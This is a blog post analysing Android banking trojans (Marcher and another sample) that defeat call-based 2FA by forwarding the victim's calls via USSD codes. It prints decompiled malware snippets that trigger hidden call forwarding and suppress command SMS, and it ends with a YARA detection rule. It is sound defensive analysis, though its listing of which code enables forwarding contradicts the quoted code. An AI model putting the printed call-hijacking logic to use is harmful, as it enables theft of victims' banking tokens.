Sunday, November 1, 2015

Detecting bank trojans which steal 2FA token through the code (Android)

In the last weeks I am working on a personal project to quickly detect Android Banking trojans which steal 2FA tokens. The idea is to create some intelligence around it.

I have been analysing different malware campaigns with different samples, like the last one detected by Symantec, Marcher, or emmental (I have talked about this one in this blog across several posts).

Obviously, the main objective of this kind of malware is to steal the credentials to access the Bank on behalf of the victim, but also to steal the 2FA. For example, if the bank sends a token through SMS (GSM), the malware is able to read that token and forward it via HTTP or GSM (SMS). In coming days, I will do in coming a post in which I will explain how I have reversed the SMS C&C of a malware which is able to steal tokens and forward via SMS.

To avoid this hack, some Banks have implemented additional security controls to distribute the tokens. Instead of sending the token through a SMS, an automatic system makes a call to the customer's phone and the token is confirmed via the call.

But malware developers have figured out it and have implemented contra-measures. The way they do this is forwarding all the calls to a third party phone via USSD codes.

For example, the codes to forward within Europe (which can be found here);

  •  ##21# + Phone number + #

And the code to disable:
  •  **21* #

Here are tho malware samples' code using this trick:


//Innuns malware
try
    {
      Object localObject = PreferenceManager.getDefaultSharedPreferences(paramContext);
      SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
      if (paramString.length() > 4)
      {
        localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString + Uri.encode("#")));
        ((Intent)localObject).addFlags(268435456);
        ((Intent)localObject).addFlags(4);
        localEditor.putString("hookcalls", paramString);
        localEditor.apply();
        paramContext.startActivity((Intent)localObject);
        return;
      }
      paramString = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#" + ((SharedPreferences)localObject).getString("hookcalls", "") + Uri.encode("#")));
      paramString.addFlags(268435456);
      paramString.addFlags(4);
      localEditor.putString("hookcalls", "");
      localEditor.apply();
      paramContext.startActivity(paramString);
      return;
    }




// Marcher example

 public void a(BroadcastReceiver paramBroadcastReceiver, Context paramContext, SmsMessage[] paramArrayOfSmsMessage)
  {
    if (a.g().equals("Y2FsbF8xJiYm")) {}
    for (paramArrayOfSmsMessage = Uri.fromParts("tel", "#21#", null);; paramArrayOfSmsMessage = Uri.fromParts("tel", "##21#", null))
    {
      a.b(null);
      paramBroadcastReceiver.abortBroadcast();
      paramBroadcastReceiver = new Intent("android.intent.action.CALL", paramArrayOfSmsMessage);
      paramBroadcastReceiver.setFlags(268435456);
      paramContext.startActivity(paramBroadcastReceiver);
      return;
    }

public void a(BroadcastReceiver paramBroadcastReceiver, Context paramContext, SmsMessage[] paramArrayOfSmsMessage)
  {
    paramArrayOfSmsMessage = l.a(paramArrayOfSmsMessage);
    if (paramArrayOfSmsMessage.contains(d.a("Y2FsbF8xJiYm", b)))
    {
      paramArrayOfSmsMessage = paramArrayOfSmsMessage.split(d.a("Y2FsbF8xJiYm", b));
      paramArrayOfSmsMessage = "*21*+" + paramArrayOfSmsMessage[1] + "#";
      a.b("Y2FsbF8xJiYm");
    }
    for (;;)
    {
      paramArrayOfSmsMessage = Uri.fromParts("tel", paramArrayOfSmsMessage, null);
      paramBroadcastReceiver.abortBroadcast();
      paramBroadcastReceiver = new Intent("android.intent.action.CALL", paramArrayOfSmsMessage);
      paramBroadcastReceiver.setFlags(268435456);
      paramContext.startActivity(paramBroadcastReceiver);
      return;
      paramArrayOfSmsMessage = paramArrayOfSmsMessage.split(d.a("Y2FsbF8yJiYm", b));
      paramArrayOfSmsMessage = "**21*+" + paramArrayOfSmsMessage[1] + "#";
      a.b("Y2FsbF8yJiYm");
    }
  }
}



So what can we do with this information?, basically, any APK which contains this functionality likely is trying to do something bad. 
The best thing is to create some yara rule to detect it base on two things: the USSD code  and the CALL intent:


$ cat forward_calls_yara.rule
rule call_forward
{
    strings:
        $my_text_string = "*21"
$my_text_string2 = "#21"
$my_text_string3 = "android.intent.action.CALL"
    condition:
        ($my_text_string and $my_text_string3) or ($my_text_string2 and $my_text_string3)

}





Very simple method but very effective :)